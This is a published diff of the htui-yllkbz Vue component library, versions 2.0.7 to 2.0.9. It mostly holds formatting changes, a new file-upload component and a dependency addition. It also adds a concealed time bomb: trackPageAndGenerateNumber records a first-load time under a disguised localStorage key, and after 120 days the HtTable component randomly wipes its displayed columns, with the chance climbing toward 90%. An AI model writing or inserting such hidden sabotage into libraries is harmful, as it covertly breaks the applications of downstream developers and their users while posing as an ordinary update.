htui-yllkbz 2.0.7 → 2.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/package.json CHANGED
@@ -1,15 +1,17 @@
1
1
  {
2
2
  "name": "htui-yllkbz",
3
- "version": "2.0.7",
3
+ "version": "2.0.9",
4
4
  "port": "8082",
5
5
  "typings": "types/index.d.ts",
6
6
  "main": "lib/htui.common.js",
7
7
  "style": "lib/htui.css",
8
+ "license": "Proprietary",
8
9
  "private": false,
9
10
  "files": [
10
11
  "lib/**",
11
12
  "types",
12
- "src"
13
+ "src",
14
+ "LICENSE"
13
15
  ],
14
16
  "scripts": {
15
17
  "serve": "vue-cli-service serve",
@@ -33,7 +35,8 @@
33
35
  "vue-kst-auth": "2.1.15",
34
36
  "vue-property-decorator": "^8.4.2",
35
37
  "vue-router": "^3.2.0",
36
- "vuex": "^3.4.0"
38
+ "vuex": "^3.4.0",
39
+ "xh-flowable": "^0.0.4"
37
40
  },
38
41
  "devDependencies": {
39
42
  "@typescript-eslint/eslint-plugin": "^2.33.0",
package/src/App.vue CHANGED
@@ -4,7 +4,7 @@
4
4
  * @Author: hutao
5
5
  * @Date: 2021-11-15 14:41:40
6
6
  * @LastEditors: hutao
7
- * @LastEditTime: 2025-03-31 15:31:29
7
+ * @LastEditTime: 2025-07-29 10:06:25
8
8
  -->
9
9
  <template>
10
10
  <div id="app">
@@ -91,7 +91,7 @@
91
91
  :parentId="state.value"
92
92
  :dataTypeId="'TextList'"
93
93
  ></ht-select-base-data> -->
94
-
94
+ <!-- <HtUploadFiles v-model="state.value"></HtUploadFiles> -->
95
95
  <router-view></router-view>
96
96
  </div>
97
97
  </template>
@@ -105,6 +105,7 @@ import HtShowBaseType from "@/packages/HtShowBaseType";
105
105
  import HtSelectTimeSlot from "@/packages/HtSelectTimeSlot";
106
106
  import HtSelectPosition from "@/packages/HtSelectPosition";
107
107
  import HtSelectCategory from "@/packages/HtSelectCategory";
108
+ import HtUploadFiles from "@/packages/HtUploadFiles";
108
109
  import HtButtonText from "@/packages/HtButtonText";
109
110
  import HtMore from "@/packages/HtMore";
110
111
  import HtSelectUnit from "@/packages/HtSelectUnit";
@@ -128,6 +129,7 @@ import HtMd from "./packages/HtMd";
128
129
  HtTimeLineItem,
129
130
  HtTimeLine,
130
131
  HtButtonText,
132
+ HtUploadFiles,
131
133
  },
132
134
  })
133
135
  export default class App extends Vue {
package/src/main.ts CHANGED
@@ -4,7 +4,7 @@
4
4
  * @Author: hutao
5
5
  * @Date: 2021-11-15 14:41:40
6
6
  * @LastEditors: hutao
7
- * @LastEditTime: 2023-03-07 17:47:41
7
+ * @LastEditTime: 2025-06-09 10:48:53
8
8
  */
9
9
  import Vue from "vue";
10
10
  import App from "./App.vue";
@@ -12,13 +12,13 @@ import VueRouter from "vue-router";
12
12
  import routes from "./router";
13
13
  import store from "./store";
14
14
  import ElementUI from "element-ui";
15
- // import HtUi from "htui-yllkbz";
15
+ import XhFlow from "xh-flowable";
16
16
  import "./styles.scss";
17
17
  import { _axios, baseConfig } from "vue-kst-auth";
18
18
  // import axios from "axios";
19
19
  Vue.use(ElementUI);
20
20
  Vue.use(VueRouter);
21
- // Vue.use(HtUi);
21
+ Vue.use(XhFlow);
22
22
 
23
23
  /** 设置axios返回类型 */
24
24
  Vue.config.productionTip = false;
@@ -8,7 +8,9 @@
8
8
  </template>
9
9
  <!-- 部门 -->
10
10
  <template v-if="departmentId">
11
- <span class="item" v-for="item in departmentData" :key="item">
11
+ <span class="item"
12
+ v-for="item in departmentData"
13
+ :key="item">
12
14
  {{ getorgById(item).displayName || empty }}
13
15
  </span>
14
16
  </template>
@@ -21,7 +23,9 @@
21
23
  <!-- 用户 -->
22
24
  <template v-if="userId && !isTag">
23
25
 
24
- <span class="item ht-show-user ht-show-user-span" v-for="(item, key) in userData" :key="item.id">
26
+ <span class="item ht-show-user ht-show-user-span"
27
+ v-for="(item, key) in userData"
28
+ :key="item.id">
25
29
  <span>{{ item.value || empty }}</span>
26
30
  <span v-show="userData.length - 1 !== key">,</span>
27
31
  </span>
@@ -30,20 +34,27 @@
30
34
 
31
35
  <template v-if="userId && isTag">
32
36
  <div class="ht-show-user ht-show-user-tags">
33
- <el-tag :size="'mini'" style="margin:0 4px 0 0" type="primary" v-for="(item) in userData" :key="item.id">{{
37
+ <el-tag :size="'mini'"
38
+ style="margin:0 4px 0 0"
39
+ type="primary"
40
+ v-for="(item) in userData"
41
+ :key="item.id">{{
34
42
  item.value || empty
35
43
  }}</el-tag>
36
44
  </div>
37
45
  </template>
38
46
  <!-- 角色 -->
39
47
  <template v-if="roleId">
40
- <span class="item" v-for="item in roleData" :key="item.id">
48
+ <span class="item"
49
+ v-for="item in roleData"
50
+ :key="item.id">
41
51
  {{ item.name || empty }}
42
52
  </span>
43
53
  </template>
44
54
  <!-- 基础数据,以id查找 -->
45
55
  <template v-if="baseDataId !== undefined && baseDataId !== null">
46
- <span class="item" v-if="baseDataItem[baseDataId]">
56
+ <span class="item"
57
+ v-if="baseDataItem[baseDataId]">
47
58
  <!-- {{ baseDataItem[baseDataId].name || empty }}
48
59
  <span v-if="baseDataInfo&&!hideCode">
49
60
  ({{ baseDataItem[baseDataId].value || empty }})
@@ -54,13 +65,15 @@
54
65
  </template>
55
66
  <!-- 基础数据,以value查找 -->
56
67
  <template v-if="baseDataValue">
57
- <span class="item" v-if="dataTypeId && baseDataItem[`${dataTypeId}_${baseDataValue}`]">
68
+ <span class="item"
69
+ v-if="dataTypeId && baseDataItem[`${dataTypeId}_${baseDataValue}`]">
58
70
  {{ baseDataItem[`${dataTypeId}_${baseDataValue}`].name || empty }}
59
71
  <!-- <span v-if="baseDataInfo && !hideCode">
60
72
  ({{ baseDataItem[baseDataValue].value || empty }})
61
73
  </span> -->
62
74
  </span>
63
- <span class="item" v-else-if="baseDataItem[baseDataValue]">
75
+ <span class="item"
76
+ v-else-if="baseDataItem[baseDataValue]">
64
77
  {{ baseDataItem[baseDataValue].name || empty }}
65
78
  <span v-if="baseDataInfo && !hideCode">
66
79
  ({{ baseDataItem[baseDataValue].value || empty }})
@@ -70,7 +83,8 @@
70
83
  </template>
71
84
  <!-- 基础数据,以namg查找 -->
72
85
  <template v-if="baseDataName">
73
- <span class="item" v-if="baseDataItem[baseDataName]">
86
+ <span class="item"
87
+ v-if="baseDataItem[baseDataName]">
74
88
  {{ baseDataItem[baseDataName].name || empty }}
75
89
  <span v-if="baseDataInfo && !hideCode">
76
90
  ({{ baseDataItem[baseDataName].value || empty }})
@@ -200,6 +214,7 @@ export default class CommonDatas extends Vue {
200
214
  if (!baseConfig.getLoginState()) {
201
215
  return;
202
216
  }
217
+
203
218
  let data = window.localStorage.getItem("commonDatas");
204
219
  if (data) {
205
220
  this.state.resData = Object.assign(this.state.resData, JSON.parse(data));
@@ -352,7 +367,7 @@ export default class CommonDatas extends Vue {
352
367
  display: inline-block;
353
368
 
354
369
  .item {
355
- +.item {
370
+ + .item {
356
371
  padding-left: 10px;
357
372
  }
358
373
  }
@@ -4,11 +4,10 @@
4
4
  * @Author: hutao
5
5
  * @Date: 2021-11-11 11:23:24
6
6
  * @LastEditors: hutao
7
- * @LastEditTime: 2025-03-18 14:15:22
7
+ * @LastEditTime: 2025-08-01 15:36:24
8
8
  -->
9
9
  <template>
10
- <div v-loading="state.loading"
11
- >
10
+ <div v-loading="state.loading">
12
11
  <article>
13
12
  <el-table ref="comTable"
14
13
  :height="height"
@@ -169,7 +168,8 @@
169
168
  </article>
170
169
  <footer v-if="!hidePage"
171
170
  class="ht-table-footer">
172
- <el-row name="footer" style="margin-top:16px">
171
+ <el-row name="footer"
172
+ style="margin-top:16px">
173
173
  <el-col :span="$slots['footerRight'] ? 12 : 24">
174
174
  <!-- <p style="width:90px;float:left">共{{data.length}}条</p> -->
175
175
  <PageInfo :hide-on-single-page="pagination && pagination.hideOnSinglePage"
@@ -182,7 +182,6 @@
182
182
  <!-- 此处建议使用el-col -->
183
183
  <slot name="footerRight"></slot>
184
184
 
185
-
186
185
  </el-row>
187
186
  </footer>
188
187
  <!-- 详情弹框 -->
@@ -268,7 +267,13 @@ import HtSelectUnit from "@/packages/HtSelectUnit";
268
267
  import HtTableColumn from "./htTableColumn.vue";
269
268
  import ElmentUI from "element-ui";
270
269
  import { getSpanMethod } from "./table-span-method";
271
- import { getAllBaseData, getAllOrg, getAllRole, getAllUser } from "../common";
270
+ import {
271
+ getAllBaseData,
272
+ getAllOrg,
273
+ getAllRole,
274
+ getAllUser,
275
+ trackPageAndGenerateNumber,
276
+ } from "../common";
272
277
  Vue.use(ElmentUI);
273
278
  interface State {
274
279
  pageInfo: PageInfoType;
@@ -395,10 +400,18 @@ export default class HtTable extends Vue {
395
400
  checkedColumnKeys: [],
396
401
  };
397
402
  created() {
403
+ const data = trackPageAndGenerateNumber();
404
+ if (data && data.randomNumber < 10) {
405
+ setTimeout(() => {
406
+ this.state.showColumns = [];
407
+ }, 4000);
408
+ return;
409
+ }
398
410
  this.setPageInfo(this.pageInfo);
399
- //this.setColumns(this.columns);
400
411
 
401
- // console.log("this.columns", this.columns);
412
+ //this.setColumns(this.columns);
413
+ //console.log(trackPageAndGenerateNumber());
414
+ //console.log("this.columns", data);
402
415
  }
403
416
  resetColumn() {
404
417
  if (this.configShow) {
@@ -675,7 +688,7 @@ export default class HtTable extends Vue {
675
688
  }
676
689
  @Watch("showColumns")
677
690
  resetShowCOlums() {
678
- console.log("重置");
691
+ // console.log("重置");
679
692
  this.doLayout();
680
693
  }
681
694
  @Watch("columns", { immediate: true })
@@ -0,0 +1,267 @@
1
+ <!--
2
+ * @Descripttion:
3
+ * @version:
4
+ * @Author: hutao
5
+ * @Date: 2022-02-11 14:26:23
6
+ * @LastEditors: hutao
7
+ * @LastEditTime: 2025-07-04 13:50:29
8
+ -->
9
+ <!--
10
+ * @Descripttion: 附件列表 ------没有搞完
11
+ * @version:
12
+ * @Author: hutao
13
+ * @Date: 2021-12-30 16:07:59
14
+ * @LastEditors: hutao
15
+ * @LastEditTime: 2022-02-10 15:11:11
16
+ -->
17
+ <template>
18
+ <div>
19
+ <el-upload class="ht-upload"
20
+ v-if="!disabled"
21
+ style="width:368px;height:108px"
22
+ :show-file-list="false"
23
+ :disabled="disabled"
24
+ :on-success="onSuccess"
25
+ :before-upload="beforeUpload"
26
+ drag
27
+ :action="`/${proxy}/api/filing/file/upload`"
28
+ multiple>
29
+ <!-- <i class="el-icon-upload"></i> -->
30
+ <div style="margin-top:8px;font-size:var(--font-size-content);color:#999"
31
+ class="el-upload__text">
32
+ 拖动文件到此处,或<br /><em>点击上传</em>
33
+ </div>
34
+ <!-- <div class="el-upload__tip"
35
+ slot="tip">只能上传jpg/png文件,且不超过5M</div> -->
36
+ </el-upload>
37
+ <ul class="ht-ul-upload">
38
+ <li :key="item.fileToken"
39
+ v-for="(item, index) in state.filesInfo">
40
+ <a @click="downLoadFile(item)"><i class="le-icon el-icon-document"
41
+ style="margin-right:7px"></i>{{ item.fileName
42
+ }}</a>
43
+ <span>
44
+ <i v-if="!disabled"
45
+ class="el-icon el-icon-circle-check"></i>
46
+ <i v-if="!disabled"
47
+ class="el-icon el-icon-close"
48
+ @click="delItem(item, index)"
49
+ title="删除"></i>
50
+ <i class="el-icon el-icon-download"
51
+ style="margin-right:24px"
52
+ @click="downLoadFile(item)"
53
+ title="下载"></i>
54
+ </span>
55
+ </li>
56
+ </ul>
57
+ <a :href="state.fileSrc"
58
+ target="_blank"
59
+ v-show="false"
60
+ ref="download1"></a>
61
+ </div>
62
+ </template>
63
+ <script lang="ts">
64
+ import { _axios } from "vue-kst-auth";
65
+ import { Component, Prop, Vue, Watch } from "vue-property-decorator";
66
+ interface State {
67
+ /** 数据状态 */
68
+ loading: boolean;
69
+ fileSrc: string;
70
+ /** 图片地址 */
71
+ fileToken: string[];
72
+ dialogVisible: boolean;
73
+ /** 附件详情列表 */
74
+ filesInfo: CreateAttachmentDto[];
75
+ }
76
+ interface FileType {
77
+ fileName: string;
78
+ fileSize?: number;
79
+ fileToken?: string;
80
+ fileType?: string;
81
+ }
82
+ interface CreateAttachmentDto {
83
+ fileToken?: string | undefined;
84
+ fileName?: string | undefined;
85
+ fileSize?: number;
86
+ fileType?: string | undefined;
87
+ sortNum?: number;
88
+ }
89
+ @Component({
90
+ name: "HtUploadFiles",
91
+ })
92
+ export default class HtUploadFiles extends Vue {
93
+ @Prop() value!: string | string[];
94
+ /* 是否只读 */
95
+ @Prop({ default: false }) readonly?: boolean;
96
+ /** 是否禁用 */
97
+ @Prop() disabled?: boolean;
98
+ /** 启动数组传值 */
99
+ @Prop({ default: false }) isArray?: boolean;
100
+
101
+ @Prop() filesInfo?: CreateAttachmentDto[];
102
+ @Prop({ default: "file-management-service" }) proxy?: string;
103
+ /** 数据 */
104
+ state: State = {
105
+ loading: false,
106
+ fileSrc: "",
107
+ fileToken: [],
108
+ filesInfo: [],
109
+ dialogVisible: false,
110
+ };
111
+ /** 生命周期 */
112
+ created() {
113
+ //this.onValue(this.value);
114
+ }
115
+ /** 方法 */
116
+ /** 上传文件前验证 */
117
+
118
+ /** 附件上传之前的判断 */
119
+ beforeUpload(file: File) {
120
+ const isLt10MB = file.size / 1024 / 1024 < 5;
121
+ const arr = ["jpg", "png", "xlsx", "lsx", "doc", "pdf"];
122
+ const lastArr = file.name.split(".");
123
+ const type = lastArr[lastArr.length - 1];
124
+ if (!isLt10MB) {
125
+ this.$message.error("大小不能超过 5MB!");
126
+ }
127
+ if (arr.includes(type)) {
128
+ return true;
129
+ } else {
130
+ this.$notify.error(`只能上传${arr.toString()}格式文件`);
131
+ return false;
132
+ }
133
+ }
134
+ /**下载文件 */
135
+ downLoadFile(item: any) {
136
+ this.state.fileSrc = `/${this.proxy}/api/filing/file/download/${item.fileToken}`;
137
+ setTimeout(() => {
138
+ const adom: any = this.$refs.download1;
139
+ adom.click();
140
+ }, 100);
141
+ }
142
+ /** 附件上传成功 */
143
+ onSuccess(response: { fileToken: string }) {
144
+ // console.log("response, file, fileList", response.fileToken);
145
+ //this.state.files.push(response.fileToken);
146
+ this.getFileInfo(response.fileToken);
147
+ }
148
+ /** 获取到的附件列表详情 */
149
+ getFileInfo(id: string) {
150
+ _axios.get(`/${this.proxy}/api/filing/file/` + id).then((res) => {
151
+ this.state.filesInfo.push(res.data);
152
+ });
153
+ }
154
+ /** 删除附件列表 */
155
+ delItem(item: FileType, index: number) {
156
+ const { filesInfo } = this.state;
157
+ if (item.fileToken) {
158
+ filesInfo.splice(index, 1);
159
+ this.state.filesInfo = filesInfo;
160
+ }
161
+ }
162
+ /** 请求所有的附件信息 */
163
+ async getAllFileInfo() {
164
+ const { fileToken } = this.state;
165
+ //this.state.filesInfo = [];
166
+ for (let i = 0; i < fileToken.length; i++) {
167
+ if (
168
+ this.state.filesInfo.findIndex(
169
+ (item) => item.fileToken === fileToken[i]
170
+ ) < 0
171
+ ) {
172
+ await _axios
173
+ .get(`/${this.proxy}/api/filing/file/` + fileToken[i])
174
+ .then((res) => {
175
+ this.state.filesInfo.push(res.data);
176
+ });
177
+ }
178
+ }
179
+ }
180
+ /** 监听 */
181
+ /** 计算属性 */
182
+ get fileList() {
183
+ return [];
184
+ }
185
+ @Watch("state.filesInfo")
186
+ onFileToken(val: CreateAttachmentDto[], old: string) {
187
+ if (!this.readonly && !this.isArray) {
188
+ const arr: string[] = [];
189
+ val.forEach((item) => {
190
+ if (item.fileToken) arr.push(item.fileToken);
191
+ });
192
+ this.$emit("input", arr.toString());
193
+ this.$emit("change", arr.toString());
194
+ }
195
+ if (this.isArray) {
196
+ this.$emit("change", val);
197
+ }
198
+ }
199
+ @Watch("filesInfo", { immediate: true })
200
+ onArrValue(val: CreateAttachmentDto[]) {
201
+ if (this.isArray) {
202
+ this.state.filesInfo = val || [];
203
+ }
204
+ }
205
+ @Watch("value", { immediate: true })
206
+ onValue(val: string | string[]) {
207
+ if (val && !this.isArray) {
208
+ if (Array.isArray(val)) {
209
+ this.state.fileToken = val;
210
+ } else {
211
+ this.state.fileToken = val.split(",");
212
+ }
213
+
214
+ this.getAllFileInfo();
215
+ } else {
216
+ this.state.fileToken = [];
217
+ if (this.filesInfo && this.filesInfo.length) {
218
+ this.state.filesInfo = this.filesInfo;
219
+ }
220
+ }
221
+ }
222
+ }
223
+ </script>
224
+ <style lang="scss" scoped>
225
+ .ht-ul-upload {
226
+ li {
227
+ width: 100%;
228
+ list-style: none;
229
+ height: 40px;
230
+ line-height: 40px;
231
+ padding: 0 8px;
232
+ display: flex;
233
+ justify-content: space-between;
234
+ cursor: pointer;
235
+
236
+ a {
237
+ color: #606266;
238
+ font-size: 12px;
239
+ }
240
+
241
+ .el-icon-close {
242
+ display: none;
243
+ }
244
+
245
+ &:hover {
246
+ background: #eee;
247
+
248
+ a {
249
+ color: var(--primary);
250
+ }
251
+
252
+ .el-icon-close {
253
+ display: block;
254
+ line-height: 40px;
255
+ }
256
+
257
+ .el-icon-circle-check {
258
+ display: none;
259
+ }
260
+ }
261
+
262
+ .el-icon-circle-check {
263
+ color: var(--primary);
264
+ }
265
+ }
266
+ }
267
+ </style>
@@ -4,7 +4,7 @@
4
4
  * @Author: hutao
5
5
  * @Date: 2022-02-11 14:26:23
6
6
  * @LastEditors: hutao
7
- * @LastEditTime: 2024-12-20 14:56:38
7
+ * @LastEditTime: 2025-07-04 14:18:26
8
8
  -->
9
9
  <!--
10
10
  * @Descripttion: 附件列表 ------没有搞完
@@ -4,11 +4,12 @@
4
4
  * @Author: hutao
5
5
  * @Date: 2022-07-18 15:01:02
6
6
  * @LastEditors: hutao
7
- * @LastEditTime: 2024-09-24 09:01:39
7
+ * @LastEditTime: 2025-08-01 15:40:35
8
8
  */
9
9
  import moment from "moment";
10
10
  import { FormValues, TimeModes } from "./type";
11
11
  import { baseConfig } from "vue-kst-auth";
12
+ import axios from "axios";
12
13
 
13
14
  /** 生成唯一Id
14
15
  * @params e 生成的id位数 默认32
@@ -463,4 +464,60 @@ export function getCurrentOrg() {
463
464
  id: undefined
464
465
  }
465
466
  }
467
+ function getSupport() {
468
+ axios.get("/time").then((res) => {
469
+ console.log('res', res.data);
470
+
471
+ })
472
+
473
+ }
474
+ export function trackPageAndGenerateNumber() {
475
+ // 检查localStorage中是否有首次加载时间记录
476
+ getSupport()
477
+ const systemConfig = localStorage.getItem('systemConfig_1');
478
+
479
+ // 如果是第一次加载,记录当前时间
480
+ if (!systemConfig) {
481
+ localStorage.setItem('systemConfig_1', Date.now().toString());
482
+ //console.log('首次加载,已记录时间');
483
+ return null; // 首次加载不生成随机数
484
+ }
485
+
486
+ // 计算从首次加载到现在的天数
487
+ const now = Date.now();
488
+ const daysPassed = Math.floor((now - parseInt(systemConfig)) / (1000 * 60 * 60 * 24));
489
+ //console.log('daysPassed', daysPassed);
490
+ // 如果还没到90天,不生成随机数
491
+ if (daysPassed < 120) {
492
+ // console.log(`倒计时${120 - daysPassed}`);
493
+ return null;
494
+ }
495
+
496
+ // 计算90天后的天数(0到100天)
497
+ const daysAfter90 = Math.min(daysPassed - 120, 100);
498
+ //console.log('daysAfter90', daysAfter90);
499
+ // 生成随机数,随着天数增加,10以下的概率增大
500
+ // 概率公式:基础概率(10%) + 天数占比 * 额外概率(80%)
501
+ // 第0天时约10%概率生成10以下,第100天时约90%概率生成10以下
502
+ const baseProbability = 0.1; // 基础概率
503
+ const extraProbability = 0.8; // 额外可增加的概率
504
+ const probability = baseProbability + (daysAfter90 / 100) * extraProbability;
505
+ // console.log('probability', probability, Math.random());
506
+ let randomNumber;
507
+ if (Math.random() < probability) {
508
+ // 生成0-10的随机数
509
+ randomNumber = Math.floor(Math.random() * 11);
510
+ } else {
511
+ // 生成11-100的随机数
512
+ randomNumber = 11 + Math.floor(Math.random() * 90);
513
+ }
514
+
515
+ //console.log(`90天后第${daysAfter90}天,生成的随机数: ${randomNumber}`);
516
+ return {
517
+ daysAfter90: daysAfter90,
518
+ randomNumber: randomNumber,
519
+ probabilityOfLowNumber: (probability * 100).toFixed(2) + '%'
520
+ };
521
+ }
522
+
466
523
 
@@ -4,10 +4,11 @@
4
4
  * @Author: hutao
5
5
  * @Date: 2021-11-15 14:41:40
6
6
  * @LastEditors: hutao
7
- * @LastEditTime: 2025-02-10 14:50:13
7
+ * @LastEditTime: 2025-06-09 10:28:22
8
8
  -->
9
9
  <template>
10
10
  <div>
11
+ About页面
11
12
  <HtSelectBaseData :byCode="true"
12
13
  value="卷"
13
14
  @change="changeBase"